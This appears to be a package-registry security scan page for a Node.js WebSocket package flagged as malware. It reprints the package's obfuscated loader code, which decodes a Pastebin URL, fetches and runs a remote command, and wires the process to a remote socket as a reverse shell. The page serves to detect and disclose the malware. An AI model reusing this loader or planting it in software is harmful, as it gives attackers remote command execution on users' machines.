registry / http-ws-listener / 1.0.5

http-ws-listener@1.0.5

A lightweight WebSocket server built with Node.js that provides real-time communication, message routing, and persistent transaction storage.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Runtime startup contacts an obfuscated Pastebin URL, retrieves further handles, imports remote-selected modules, and executes a remote command. It then attempts to connect the spawned process streams to a remote socket.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

A consumer imports the package and invokes `startWebSocketServer()`.

Impact

Remote operator-controlled command execution in the host process, with attempted interactive shell access.

Mechanism

Obfuscated remote staging, dynamic module loading, command execution, and reverse-shell stream piping.

Attack narrative

When `startWebSocketServer()` runs, `index.js` starts `fetchConfig()`. That function decodes a Pastebin raw URL, fetches colon-delimited handles, retrieves further Pastebin content, dynamically imports modules selected by the remote response, executes a remotely fetched command through `cp.exec()`, and attempts to pipe its standard streams through a connected socket. Although the `sh` identifier is undefined and can break the callback, the preceding remote command execution remains a concrete malicious chain.

Rationale

The package contains a reachable, obfuscated remote payload chain that dynamically selects modules and executes a fetched command. This is malicious despite the absence of install-time lifecycle hooks.

Evidence

package.jsonindex.jsmisc/configFetcher.js./server.db./server_output_error_log

Network endpoints2

pastebin.com/raw/pzwaDQsVpastebin.com/raw/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`misc/configFetcher.js` decodes `https://pastebin.com/raw/pzwaDQsV`.
`fetchConfig()` fetches attacker-selected Pastebin handles.
Fetched strings are passed to dynamic `import()` for `net` and `cp`.
`cp.exec()` executes a remotely fetched command.
A socket is wired to command stdin/stdout/stderr, implementing reverse-shell behavior.
`index.js` invokes `fetchConfig()` when `startWebSocketServer()` runs.

Evidence against

`package.json` has no preinstall/install/postinstall lifecycle hook.
The payload path requires explicit runtime invocation of `startWebSocketServer()`.
The callback references undefined `sh`, which may disrupt the shell wiring after connection.

Behavioral surface

Source

ChildProcessDynamicRequireFilesystemNetworkWebSocket

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 12.6 KB of source

Source & flagged code

3 flagged

misc/configFetcher.jsView file

Lines 1-64javascript

1const baza = "VkVjNWVWcFhNR2RoV0VKNlpGY3daMXBIT1hOaU0wbG5ZekpzTUVsSFJuUmFXRkZ6U1VkT2RtSnVUbXhaTTFKc1pFaFdlVWxIUm10aFdFSndZekpPY0dKdFkyZGFWM2h3WkVNMFoxSklWbkJqZVVKdVkyMUdNbUZYVW1oSlIwWjFaRWRWWjJKSGJHbGFXRXAyVEVOQ01XUkRRbk5pTWtwMlkyNVNjR041UW5CalNFNHhZbE5DZG1OdE5XaGpiVlZuWkcxc01GbFhWWFZKUmxwd1pHMUdkR1JZVFdkYVYyUnNaRU5DYkdOdFJqQkpTRTV3WkVOQ2FHSlhWakJKUjBaNVdUTlZaMlJ0Vm05aFYwNHhZa2RGWjJGWFJtcGtWM2h3WTNsQ01tRllVbWhhVTBKc1pGTkNkRmxZVG5wWlV6Um5WRzVXYzJKSFJXZFpXRkZuV1ZkNGNHTllWbXhrUTBKc1pVTTBaMUpIT1hWYVYwMW5ZbTA1ZFVsSFNuTlpWelZyWVZoUloySnRiR2xoUTNkbldsZGtiR1JEUW5waU1uaHpZVmRPY0dSSVZtdGhWelJuWWxkR01XTn ...

3export function decode(times = 3) {

4 if(times === 3) {

5 // const arr = [22, 77, 28, 12, 3, 286, 49, 149, 6, 1125, -1, 14, 4, 30, 1, 7, 192, 2, 8, 20, 9, 65, -1, 198, -1 , -1];

6 const need = [ 149, 20, 20, 7, 8, ":", "//", 7, 22, 8, 20, 3, 77, 6, 30, ".", 28, 1, 4, "/", 2, 22, "w",

7 // const meow = ["k","w","y","z"];

8 let inp = baza;

9 for(let i = 0; i < times; i++) {

10 let bufferObj = Buffer.from(inp, "base64");

11 inp = bufferObj.toString("utf8");

12 }

13 const res = need.map(n => typeof(n) === "string" ? n : inp[n]);

14 const j = res.join("");

15 return j;

16 } else {

17 const need = [ 149, 20, 20, 7, 8, ":", "//", 7, 22, 8, 20, 3, 77, 6, 30, ".", 28, 1, 4, "/", 2, 22, "w"

18 let inp = baza;

19 for(let i = 0; i < 3; i++) {

20 let bufferObj = Buffer.from(inp, "base64");

21 inp = bufferObj.toString("utf8");

22 }

23 const res = need.map(n => typeof(n) === "string" ? n : inp[n]);

24 const j = res.join("");

25 return j;

26 }

27};

29export async function fetchHandles() {

32 console.log(body);

33 return body;

34};

36function separateEm(inp, sep) {

37 const split = inp.split(sep);

38 return split;

39};

41async function fetchData(handle) {

42 const one = decode(4);

43 const resp = await fetch(`${one}${handle}`);

44 const body = await resp.text();

45 console.log(body);

46 return body;

47};

49export async function fetchConfig() {

50 const fetched = await fetchHandles();

51 const handlebards = separateEm(fetched, ":");

52 const lone = await fetchData(handlebards[3]);

53 const net = await import(lone);

54 const ltwo = await fetchData(handlebards[4]);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

misc/configFetcher.jsView on unpkg · L52

55 const cp = await import(ltwo);

56 cp.exec(await fetchData(handlebards[0]));

57 const client = new net.Socket();

58 client.connect(await fetchData(handlebards[2]), await fetchData(handlebards[1]), function() {

59 client.pipe(sh.stdin);

60 cp.stdout.pipe(client);

61 cp.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

misc/configFetcher.jsView on unpkg · L9

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

misc/configFetcher.jsView on unpkg · L9

62 });

63};

Long lines were clipped for display.

Source & flagged code

3 flagged · loading source

misc/configFetcher.jsView file

9for(let i = 0; i < times; i++) { L10: let bufferObj = Buffer.from(inp, "base64"); L11: inp = bufferObj.toString("utf8"); ... L29: export async function fetchHandles() { L30: const resp = await fetch(decode()); L31: const body = await resp.text(); ... L59: client.pipe(sh.stdin); L60: cp.stdout.pipe(client); L61: cp.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

misc/configFetcher.jsView on unpkg · L9

9Trigger-reachable chain: manifest.main -> index.js -> misc/configFetcher.js L9: for(let i = 0; i < times; i++) { L10: let bufferObj = Buffer.from(inp, "base64"); L11: inp = bufferObj.toString("utf8"); ... L29: export async function fetchHandles() { L30: const resp = await fetch(decode()); L31: const body = await resp.text(); ... L59: client.pipe(sh.stdin); L60: cp.stdout.pipe(client); L61: cp.stderr.pipe(client);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

misc/configFetcher.jsView on unpkg · L9

52const lone = await fetchData(handlebards[3]); L53: const net = await import(lone); L54: const ltwo = await fetchData(handlebards[4]);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

misc/configFetcher.jsView on unpkg · L52

Findings

2 Critical1 High3 Medium3 Low

CriticalReverse Shellmisc/configFetcher.js

CriticalTrigger Reachable Dangerous Capabilitymisc/configFetcher.js

HighChild Process

MediumDynamic Requiremisc/configFetcher.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Source & flagged code

3 flagged

misc/configFetcher.jsView file

Lines 1-64javascript

3export function decode(times = 3) {

4 if(times === 3) {

5 // const arr = [22, 77, 28, 12, 3, 286, 49, 149, 6, 1125, -1, 14, 4, 30, 1, 7, 192, 2, 8, 20, 9, 65, -1, 198, -1 , -1];

6 const need = [ 149, 20, 20, 7, 8, ":", "//", 7, 22, 8, 20, 3, 77, 6, 30, ".", 28, 1, 4, "/", 2, 22, "w",

7 // const meow = ["k","w","y","z"];

8 let inp = baza;

9 for(let i = 0; i < times; i++) {

10 let bufferObj = Buffer.from(inp, "base64");

11 inp = bufferObj.toString("utf8");

12 }

13 const res = need.map(n => typeof(n) === "string" ? n : inp[n]);

14 const j = res.join("");

15 return j;

16 } else {

17 const need = [ 149, 20, 20, 7, 8, ":", "//", 7, 22, 8, 20, 3, 77, 6, 30, ".", 28, 1, 4, "/", 2, 22, "w"

18 let inp = baza;

19 for(let i = 0; i < 3; i++) {

20 let bufferObj = Buffer.from(inp, "base64");

21 inp = bufferObj.toString("utf8");

22 }

23 const res = need.map(n => typeof(n) === "string" ? n : inp[n]);

24 const j = res.join("");

25 return j;

26 }

27};

29export async function fetchHandles() {

32 console.log(body);

33 return body;

34};

36function separateEm(inp, sep) {

37 const split = inp.split(sep);

38 return split;

39};

41async function fetchData(handle) {

42 const one = decode(4);

43 const resp = await fetch(`${one}${handle}`);

44 const body = await resp.text();

45 console.log(body);

46 return body;

47};

49export async function fetchConfig() {

50 const fetched = await fetchHandles();

51 const handlebards = separateEm(fetched, ":");

52 const lone = await fetchData(handlebards[3]);

53 const net = await import(lone);

54 const ltwo = await fetchData(handlebards[4]);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

misc/configFetcher.jsView on unpkg · L52

55 const cp = await import(ltwo);

56 cp.exec(await fetchData(handlebards[0]));

57 const client = new net.Socket();

58 client.connect(await fetchData(handlebards[2]), await fetchData(handlebards[1]), function() {

59 client.pipe(sh.stdin);

60 cp.stdout.pipe(client);

61 cp.stderr.pipe(client);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

misc/configFetcher.jsView on unpkg · L9

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

misc/configFetcher.jsView on unpkg · L9

62 });

63};

Long lines were clipped for display.